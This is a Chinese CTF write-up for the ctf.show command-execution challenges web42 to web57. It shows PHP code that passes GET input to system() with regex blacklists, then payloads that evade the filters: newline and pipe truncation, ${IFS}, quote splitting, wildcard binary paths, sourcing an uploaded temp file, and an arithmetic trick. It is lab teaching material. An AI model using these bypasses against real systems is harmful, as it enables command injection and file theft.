web42-57命令执行篇(二)

2023/03/30 17:13:06

web42

if(isset($_GET['c'])){
  $c=$_GET['c'];
  system($c." >/dev/null 2>&1");
}else{
  highlight_file(__FILE__);
}

在变量后面拼接了一堆字符串。在此之前,我们需要先思考这一串是什么东西。

>/dev/null 2>&1 

就是让标准输出重定向到/dev/null中(丢弃标准输出),然后错误输出由于重用了标准输出的描述符,所以错误输出也被定向到了/dev/null中,错误输出同样也被丢弃了。执行了这条命令之后,该条shell命令将不会输出任何信息到控制台,也不会有任何信息输出到文件中。
因此这个也被成为数据黑洞(还是很形象的)。
这部分的bypass是双写,让后面的指令结果进入黑洞,但是保全前面的命令。
比如说:?c=ls;ls,这就出现了运行结果。
image.png
于是payload也就很容易得到了:?c=tac flag.php;ls
image.png

方法二

当然直接使用%0a截断也可以,比如:tac f*%0a

从重定向到黑洞(>/dev/null 2>&1)

https://www.cnblogs.com/kexianting/p/11630085.html(建议忘了看这个,写的很全)

但是我们不能只知道这个东西是是黑洞,我们也要明白其中的原理。
容易看出,上面的语句应该是分成两段,前一段是:>/dev/null后一段是:2>&1
前者的含义是将输出结果定向到>/dev/null,而这个地址表示的是linux的空设备,因此会将运行结果消灭。
而后者简单解释就是将正确和错误两个输出绑定到一起,都输出到同一个地方。(其中1指的是标准输出,2指的是错误输出,详细的看参考文章)。

web43

if(isset($_GET['c'])){
  $c=$_GET['c'];
  if(!preg_match("/\;|cat/i", $c)){
    system($c." >/dev/null 2>&1");
  }
}else{
  highlight_file(__FILE__);
}

过滤了分号,不能用上一题的方法绕过了,但是可以使用%0a(回车)截断。
payload:tac f*%0a
image.png

web44

if(isset($_GET['c'])){
  $c=$_GET['c'];
  if(!preg_match("/;|cat|flag/i", $c)){
    system($c." >/dev/null 2>&1");
  }
}else{
  highlight_file(__FILE__);
}

?c=tac f*%0a

web45 IFS绕过原理解析

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多了一个空格过滤,payload中简单加一个${IFS}即可绕过。
?c=tac${IFS}f*%0a

备注

https://blog.csdn.net/qq_54727981/article/details/125936528

一直使用IFS来绕过,但是一直不知道什么意思,了解了一下:
$IFS 是一种 set 变量,当 shell 处理”命令替换”和”参数替换”时,shell 根据 IFS 的值,默认是 space,tab, newline 即空格,制表符,空行来拆解读入的变量,然后对特殊字符进行处理,最后重新组合赋值给该变量。
直接用$IFS的话,会认为解析没结束,会把后面的也当做参数解析,比如cat$IFSflag.php,会把IFSflag一起当变量解析。这时候需要在$IFS后面进行截断,使解析为空,结束 $IFS,正常执行后面的内容。

cat$IFS$1flag.php	//使用特殊变量
cat${IFS}flag.php	//使用{}
cat$IFS'f'lag.php		//使用引号
cat$IFS\flag.php	//使用转义符
cat$IFS?lag.php		//使用通配符

web46

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

空格过滤还过滤了美元符号,用通配符<绕过即可。flag和*过滤用单双引号绕过即可。
?c=tac<>'f'lag.php%0a
image.png

web47

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

?c=tac<'f'lag.php%0a
hint中给的方法是这种:nl<fla''g.php||
看来管道符也可以截断,但是尝试将管道符换成&却不行。可能这里截断的是文本而不是命令。

web48

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

竟然还没有过滤tac
?c=tac<'f'lag.php%0a

web49

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

?c=tac<f''lag.php||不让用%0a,就用刚刚在hint中学到的双管道符隔断。

web50

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

?c=tac<f''lag.php||
过滤中出现了很有意思的东西:\x09 和\x26,\x表示后面两位用十六进制来表示,则前面两国的代表ascii码为9和26的字符
image.png
image.png
注意是十六进制,不是十进制。

web51

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这回把tac过滤了,但是还是有能用的,比如说nl
?c=nl<'f'lag.php||,php代码需要打开f12查看。
image.png

web52

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

把通配符的<>过滤了,找了半天还有什么办法能够绕过空额过滤,看hint才发现又可以使用$了…
?c=nl${IFS}fla''g.php||

web53

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

?c=nl${IFS}fla''g.php但实际上前面过滤的字符也可以通过单引号引用绕过过滤,比如hint中的payload如下:c''at${IFS}fla''g.p''hp
image.png

web54 通配符中问号的使用

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

第一种方法:mv${IFS}fla?.php${IFS}a.txt,因为没有禁用ls,因此知道文件名,因此可以使用mv来重命名文件。然后打开即可,打开有几种不同的方法,比如说?c=uniq${IFS}a.txt,但是flag在源代码中,需要f12查看;或者用?c=rev${IFS}a.txt反转输出文件,这种得到的flag是行反转的,需要调转回来:
image.png
除此之外,还有一种直接一步完成的方法。c=uniq${IFS}f???.php,这里通过使用?通配符来一步绕过过滤,其实对名称的过滤大部分就是对linux通配符的考察,需要我们一点点加强功底。

通配符?和*的区别

*可以替代一个或多个字符,而?只能替代一个字符。
比如:

  • 如果正在查找以AEW开头的一个文件,但不记得文件名其余部分,可以输入AEW*,查找以AEW开头的所有文件类型的文件,如AEWT.txt、AEWU.EXE、AEWI.dll等。
  • 如果输入love?,查找以love开头的一个字符结尾文件类型的文件,如lovey、lovei等。要缩小范围可以输入love?.doc,查找以love开头的一个字符结尾文件类型并.doc为扩展名的文件如lovey.doc、loveh.doc。

web55 通配符中问号使用plus版

https://blog.csdn.net/xiaolong22333/article/details/109480420?spm=a2c6h.12873639.article-detail.4.6ced5331lGc8cc

// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

刚看到这个题的第一想法是使用自增,但是发现吧分号过滤了,用不了。看了一下wp,发现了几种比较牛逼的解法。

方法一 使用bin目录下的base64命令 ?来代替字符

这里想使用的知识点是:/bin/base64 flag.php
先介绍一下,在/bin目录下有若干个命令可以使用:

cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等

但是这里过滤了字符,不能直接用,因此我们可以借助通配符中的问号来完成payload。
/???/????64因为没有过滤掉数字,所以可以通过64来找到base64命令。当然,文件名也是可以使用?表示的。
payload:/???/????64 ????.???后面这串代表的flag.php。将得到的字符串base64解密即可。
image.png
但是如何知道文件名是flag.php的这里并没有提到。

方法二 使用bzip2下载文件 ?来代替字符

除了/bin地址下,/usr/bin下也有执行命令。

c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等

因此,我们也可以像方法一中选择具有数字的方法来使用,比如:
/usr/bin/bzip2 flag.php
修改为payload:/???/???/????2 ????.???,压缩之后,查询发现bzip2方法压缩的文件名称后缀为.bz2
因此我们访问文件下载即可/flag.php.bz2,在本地解压打开即可:
image.png

方法三 “.”的妙用

https://blog.sina.com.cn/s/blog_af68a2c201016nh2.html

source命令,也就是.命令,可以通过. file来执行命令,因此这题我们可以通过post上传文件来执行命令。
当我们上传文件之后,文件会被保存在/tmp下,文件名称为随机构成的六个字符。因此可以使用/???/??????来匹配文件,但是临时文件有很多,这样没有办法精准地找到需要的文件。
这篇文章给出了解决方案:

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

在tmp临时文件中,只有php生成的文件是包含大写字母的,其余都是小写字母,因此我们可以加一个过滤大写字母的正则表达式,但是由于不一定一定会生成大写字母,因此需要多次尝试。
过滤出大写字母正常来说应该按照如下来写:/???/????????[A-Z],但是这题里面过滤掉了字符,因此只能用A前面的字符和Z后面的字符(ASCII表),也就是:/???/????????[@-[]
我们应该如何上传文件呢。
比较复杂的办法就是自己构造post内容写,比较简单的就是借助工具。
在本地写一个简单的html文件(将地址修改为目标地址)

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://d3b49897-da81-47f9-8495-e017b7cf25e7.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

本地运行文件,然后上传即可。
修改上传文件内容:

#!/bin/sh
cat flag.php

注意途中要抓包,这样才更方便修改。
修改get传参/?c=. /???/????????[@-[],我们可以先修改文件内容来ls一下查看文件:
image.png
cat访问文件。
image.png
注意,有的时候没有回显是因为文件末尾并不是大写字母,需要多尝试两遍。

web56

if(isset($_GET['c'])){
  $c=$_GET['c'];
  if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
    system($c);
  }
}else{
  highlight_file(__FILE__);
}

同理,使用上一题第三种方法上传文件即可。
image.png

web57

https://blog.csdn.net/qq_46091464/article/details/108563368
https://blog.csdn.net/weixin_45551083/article/details/110096787

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

跑一下剩余字符:
image.png
题目的意思就是让我们使用剩余的这些字符凑出一个36出来。我们先看一下payload是什么:

$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

我们在linux中尝试一下:
image.png
为什么会这样呢?我们分析一下,我们先要知道这其中的几个基础结构:

${_}:代表上一次命令执行的结果
$(()): 做运算

知道了基础,然后我们结合数据。

$((${_}))=0
$((~$((${_}))))=-1

然后直接使用脚本跑就行,需要36,那么就传入37然后再减一就行。

data = "$((~$(("+"$((~$(())))"*37+"))))"
print(data)